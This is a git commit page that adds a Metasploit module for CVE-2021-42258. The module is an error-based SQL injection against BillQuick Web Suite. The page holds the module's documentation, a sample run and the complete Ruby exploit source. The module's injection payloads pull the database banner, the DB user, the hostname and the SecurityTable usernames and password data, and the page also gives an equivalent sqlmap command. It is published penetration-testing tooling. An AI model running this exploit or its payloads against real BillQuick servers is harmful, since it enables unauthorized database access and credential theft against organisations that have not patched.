Land #15806, add BillQuick SQLi module
This commit is contained in:
commit
f055429189
|
@ -0,0 +1,133 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a SQL injection vulnerability in BillQUick Web
|
||||
Suite prior to version 22.0.9.1. The application is .net based, and
|
||||
the database is required to be MSSQL. Luckily the website gives
|
||||
error based SQLi messages, so it is trivial to pull data from the
|
||||
database. However the webapp uses an unknown password security
|
||||
algorithm. This vulnerability does not seem to support stacked
|
||||
queries. This module pulls the database name, 111.111.1.111, user,
|
||||
hostname, and the SecurityTable (user table).
|
||||
|
||||
### Install
|
||||
|
||||
This install can be rather complicated and take about 2hrs to install.
|
||||
|
||||
1. Download [ws2020](https://billquick.net/download/WS2020/WS2020Setup.zip)
|
||||
1. Download [Bill Quick 2020](https://billquick.net/download/Billquick2020/BillQuick2020Setup.zip)
|
||||
1. Install billquick 2020
|
||||
1. reboot
|
||||
1. Install IIS per WS2020 instructions (non-default options in ws2020 install docs)
|
||||
1. Install .NET Framework 3.5 (for sql server 2008, powershell: `Install-WindowsFeature Net-Framework-Core`)
|
||||
1. Install MSSQL Server 2008
|
||||
1. Install ws2020 (.NET 4.5 is bundled, may need a reboot)
|
||||
1. Open BillQuick V21 (on desktop). Configure it to a new database
|
||||
1. visit http://<ip>/ws2020 and finish the install/config
|
||||
|
||||
Even at this point, 2 people with these instructions and one independently were unable to login to
|
||||
the webapp. It can be SQLi, but no one was able to use it successfully.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/billquick_txtid_sqli`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get info about the system and app.
|
||||
|
||||
## Options
|
||||
|
||||
### HttpClientTimeout
|
||||
|
||||
As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to `15`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### BillQuick Web Suite 21.0.11 with BillQuick 2020 on Windows 2012 r2 with MSSQL 2008
|
||||
|
||||
```
|
||||
[*] Processing billquick.rb for ERB directives.
|
||||
resource (billquick.rb)> use auxiliary/gather/billquick_txtid_sqli
|
||||
resource (billquick.rb)> set rhosts 111.111.1.111
|
||||
rhosts => 111.111.1.111
|
||||
resource (billquick.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (billquick.rb)> check
|
||||
[*] 111.111.1.111:80 - The target appears to be vulnerable. Version Detected: 21.0.11
|
||||
resource (billquick.rb)> exploit
|
||||
[*] Running module against 111.111.1.111
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version Detected: 21.0.11
|
||||
[*] Getting Variables
|
||||
[*] VIEWSTATE: /wEPDwULLTE4MzE3MTAzMjcPZBYEAgMPDxYCHgRUZXh0BRJWZXJzaW9uOiAyMS4wLjExLjFkZAIFD2QWBgIDD2QWBgIDDw9kFgIeBGhyZWYFKWphdmFzY3JpcHQ6RGlzcGxheUhlbHAoJy9sb2dpbi5odG0nLHRydWUpZAIFDw8WAh8AZWRkAgsPD2QWAh8BBboCamF2YXNjcmlwdDpPcGVuQ3VzdG9taXplZFBhZ2UoJ2h0dHA6Ly8xOTIuMTY4LjIuMTk3OjgwL3dzMjAyMC9BZG1pbi9mcm1TdGFydHVwT3B0aW9ucy5hc3B4P1JldHVyblVSTD1odHRwOi8vMTkyLjE2OC4yLjE5Nzo4MC93czIwMjAvZGVmYXVsdC5hc3B4JlJldHVyblBhdGg9QzovUHJvZ3JhbSBGaWxlcyAoeDg2KS9CaWxsUXVpY2sgV2ViIFN1aXRlL1dlYiBTdWl0ZSAyMDIwL3B1YmxpYycsJ09wdGlvbnMnLCdzdGF0dXM9MSx0b3A9MjAsbGVmdD03MCx0b29sYmFyPTAsd2lkdGg9OTYwLGhlaWdodD04NTAsc2Nyb2xsYmFycz0xLHJlc2l6YWJsZT0xJylkAgcPDxYCHgdWaXNpYmxlaGQWBAIBDxAPFgIfAmhkZGRkAgMPDxYCHwJoZGQCCQ9kFgICAw8PZBYCHgdvbmNsaWNrBYQBSmF2YVNjcmlwdDp2YXIgTnduZD0gd2luZG93Lm9wZW4oJ2h0dHA6Ly93d3cuYnFlLmNvbS9SZWFkeVRvQnV5LmFzcCcsJ0JpbGxRdWljaycsJ3N0YXR1cz0xLHJlc2l6YWJsZT0xJyk7IE53bmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7ZGStCLctJcrVYJp1DAA1gC3rEarKhZr4l+UhXjrUi4Di4g==
|
||||
[*] VIEWSTATEGENERATOR: 35DBDDBD
|
||||
[*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4=
|
||||
[+] Current Database: test
|
||||
[+] 111.111.1.111: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
|
||||
Jul 9 2008 14:17:44
|
||||
Copyright (c) 1988-2008 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
|
||||
|
||||
[+] DB User: sa
|
||||
[+] Hostname: WIN-EDKFSE5QPAB
|
||||
[+] User Count in test.dbo.SecurityTable: 2
|
||||
[+] Username: 111
|
||||
[+] User 111 settings: D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
|
||||
[+] Username: fl
|
||||
[+] User fl settings: 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
|
||||
[+] test.dbo.SecurityTable
|
||||
======================
|
||||
|
||||
EmployeeID Settings
|
||||
---------- --------
|
||||
111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
|
||||
fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
|
||||
|
||||
[*] Default password is the username.
|
||||
[*] Auxiliary module execution completed
|
||||
resource (billquick.rb)> hosts
|
||||
|
||||
Hosts
|
||||
=====
|
||||
|
||||
address mac name os_name os_flavor os_sp purpose info comments
|
||||
------- --- ---- ------- --------- ----- ------- ---- --------
|
||||
111.111.1.111 WIN-EDKFSE5QPAB Windows device Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Cor
|
||||
porationDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
|
||||
|
||||
resource (billquick.rb)> services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
111.111.1.111 80 tcp BillQuick Web Suite open
|
||||
|
||||
resource (billquick.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) sa Blank password
|
||||
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) 111 D848281C Nonreplayable hash
|
||||
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) fl 45E97 Nonreplayable hash
|
||||
|
||||
resource (billquick.rb)> notes
|
||||
|
||||
Notes
|
||||
=====
|
||||
|
||||
Time Host Service Port Protocol Type Data
|
||||
---- ---- ------- ---- -------- ---- ----
|
||||
2021-11-06 10:26:28 UTC 111.111.1.111 BillQuick Web Suite 80 tcp database "test"
|
||||
```
|
||||
|
||||
## SQLMap Equivalent
|
||||
|
||||
You'll need a valid `VIEWSTATE`, `VIEWSTATEGENERATOR`, `EVENTVALIDATION`.
|
||||
|
||||
```
|
||||
sqlmap -u "http://[IP]/ws2020/default.aspx" -f txtID --data="__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE=[VIEWSTATE]&__VIEWSTATEGENERATOR=[GENERATOR]&__EVENTVALIDATION=[VALIDATION]&txtID=a&txtPW=a&hdnClientDPI=96" --dbms MSSQL --time-sec 15 --batch
|
||||
```
|
|
@ -0,0 +1,227 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'BillQuick Web Suite txtID SQLi',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1.
|
||||
The application is .net based, and the database is required to be MSSQL. Luckily the website gives
|
||||
error based SQLi messages, so it is trivial to pull data from the database. However the webapp
|
||||
uses an unknown password security algorithm. This vulnerability does not seem to support stacked
|
||||
queries.
|
||||
This module pulls the database name, banner, user, hostname, and the SecurityTable (user table).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Caleb Stewart <caleb.stewart94[at]gmail.com>' # original PoC, analysis
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'],
|
||||
['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'],
|
||||
['CVE', '2021-42258']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request
|
||||
},
|
||||
'DisclosureDate' => '2021-10-22',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
|
||||
'method' => 'GET'
|
||||
}, datastore['HttpClientTimeout'])
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
|
||||
%r{Version: (?<version>\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}</span>} =~ res.body
|
||||
|
||||
if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1')
|
||||
return Exploit::CheckCode::Appears("Version Detected: #{version}")
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service")
|
||||
end
|
||||
Exploit::CheckCode::Safe("Unexploitable Version: #{version}")
|
||||
end
|
||||
|
||||
def rand_chars(len = 6)
|
||||
Rex::Text.rand_text_alpha(len)
|
||||
end
|
||||
|
||||
def char_list(string)
|
||||
('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s
|
||||
end
|
||||
|
||||
def error_info(body)
|
||||
/BQEShowModalAlert\('Information','(?<error>[^']+)/ =~ body
|
||||
error
|
||||
end
|
||||
|
||||
def inject(content, state, generator, validation)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'__VIEWSTATE' => state,
|
||||
'__VIEWSTATEGENERATOR' => generator,
|
||||
'__EVENTVALIDATION' => validation,
|
||||
'__EVENTTARGET' => 'cmdOK',
|
||||
'__EVENTARGUMENT' => '',
|
||||
'txtID' => content,
|
||||
'txtPW' => '',
|
||||
'hdnClientDPI' => '96'
|
||||
}
|
||||
}, datastore['HttpClientTimeout'])
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
res.body
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status('Getting Variables')
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
|
||||
'method' => 'GET'
|
||||
}, datastore['HttpClientTimeout'])
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
|
||||
|
||||
/id="__VIEWSTATE" value="(?<viewstate>[^"]+)/ =~ res.body
|
||||
/id="__VIEWSTATEGENERATOR" value="(?<viewstategenerator>[^"]+)/ =~ res.body
|
||||
/id="__EVENTVALIDATION" value="(?<eventvalidation>[^"]+)/ =~ res.body
|
||||
unless viewstate && viewstategenerator && eventvalidation
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.')
|
||||
end
|
||||
vprint_status("VIEWSTATE: #{viewstate}")
|
||||
vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}")
|
||||
vprint_status("EVENTVALIDATION: #{eventvalidation}")
|
||||
|
||||
header = rand_chars
|
||||
footer = rand_chars
|
||||
header_char = char_list(header)
|
||||
footer_char = char_list(footer)
|
||||
int = Rex::Text.rand_text_numeric(4)
|
||||
|
||||
service = {
|
||||
address: rhost,
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
service_name: 'BillQuick Web Suite',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
report_service(service)
|
||||
|
||||
# all inject strings taken from sqlmap runs, using error page method
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/, table \\u0027(?<table>.+?)\\u0027/ =~ error_info(res)
|
||||
print_good("Current Database: #{table.split('.').first}")
|
||||
report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first)
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<banner>.+?)\\u0027/ =~ error_info(res)
|
||||
banner.slice!(header)
|
||||
banner.slice!(footer)
|
||||
banner = banner.gsub('\n', "\n").gsub('\t', "\t")
|
||||
print_good("Banner: #{banner}")
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<user>.+?)\\u0027/ =~ error_info(res)
|
||||
user.slice!(header)
|
||||
user.slice!(footer)
|
||||
print_good("DB User: #{user}")
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_type: :nonreplayable_hash,
|
||||
private_data: ''
|
||||
}.merge(service)
|
||||
create_credential(credential_data)
|
||||
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<hostname>.+?)\\u0027/ =~ error_info(res)
|
||||
hostname.slice!(header)
|
||||
hostname.slice!(footer)
|
||||
print_good("Hostname: #{hostname}")
|
||||
|
||||
report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS)
|
||||
|
||||
sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable"
|
||||
|
||||
# get user count from SecurityTable
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<user_count>.+?)\\u0027/ =~ error_info(res)
|
||||
user_count.slice!(header)
|
||||
user_count.slice!(footer)
|
||||
print_good("User Count in #{sec_table}: #{user_count}")
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => sec_table,
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
[
|
||||
'EmployeeID',
|
||||
'Settings',
|
||||
]
|
||||
)
|
||||
|
||||
(1..user_count.to_i).each do |index|
|
||||
# username
|
||||
# select EmployeeID from test.dbo.SecurityTable where ModuleID=0
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<username>.+?)\\u0027/ =~ error_info(res)
|
||||
username.slice!(header)
|
||||
username.slice!(footer)
|
||||
print_good("Username: #{username}")
|
||||
|
||||
# settings
|
||||
# select Settings from test.dbo.SecurityTable where ModuleID=0
|
||||
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
|
||||
/\\u0027(?<settings>.+?)\\u0027/ =~ error_info(res)
|
||||
settings.slice!(header)
|
||||
settings.slice!(footer)
|
||||
print_good("User #{username} settings: #{settings}")
|
||||
table << [username, settings]
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_type: :nonreplayable_hash, # prob encrypted not hash, so lies.
|
||||
private_data: settings.split('|').first
|
||||
}.merge(service)
|
||||
create_credential(credential_data)
|
||||
end
|
||||
print_good(table.to_s)
|
||||
print_status('Default password is the username.')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue